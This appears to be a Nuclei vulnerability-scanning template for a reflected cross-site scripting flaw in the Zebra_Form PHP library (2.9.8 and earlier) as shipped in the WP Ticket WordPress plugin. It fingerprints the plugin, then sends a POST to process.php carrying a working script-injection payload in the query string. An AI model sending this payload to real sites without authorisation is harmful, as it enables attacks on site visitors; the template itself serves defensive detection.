id: wordpress-zebra-form-xss info: name: Zebra_Form PHP Library <= 2.9.8 - Cross-Site Scripting author: madrobot severity: medium description: | Zebra_Form PHP library 2.9.8 and prior (which is used by some WordPress plugins) is affected by reflected cross-site scripting vulnerabilities via process.php. reference: - https://blog.wpscan.com/2021/02/15/zebra-form-xss-wordpress-vulnerability-affects-multiple-plugins.html - https://wpscan.com/vulnerability/e4b796fa-3215-43ff-a6aa-71f6e1db25e5 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cwe-id: CWE-80 metadata: max-request: 2 tags: wordpress,xss,wp,wpscan,intrusive flow: http(1) && http(2) http: - raw: - | GET /wp-content/plugins/wp-ticket/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: word internal: true words: - 'WP Ticket' - 'Tags:' condition: and - raw: - | POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(document.domain)%3E&control=upload HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: multipart/form-data; boundary=---------------------------77916619616724262872902741074 Origin: null -----------------------------77916619616724262872902741074 Content-Disposition: form-data; name="upload"; filename="{{randstr}}.txt" Content-Type: text/plain Test -----------------------------77916619616724262872902741074-- matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4b0a00483046022100f1912385227fd7954ebba7838cf733680f67feb8de7878a3f85353faba2904f3022100c0c71def8df50bc1cb9a592bda9245f2a144a43b7eae8b4112db8ef395dca445:922c64590222798bb761d5b6d8e72950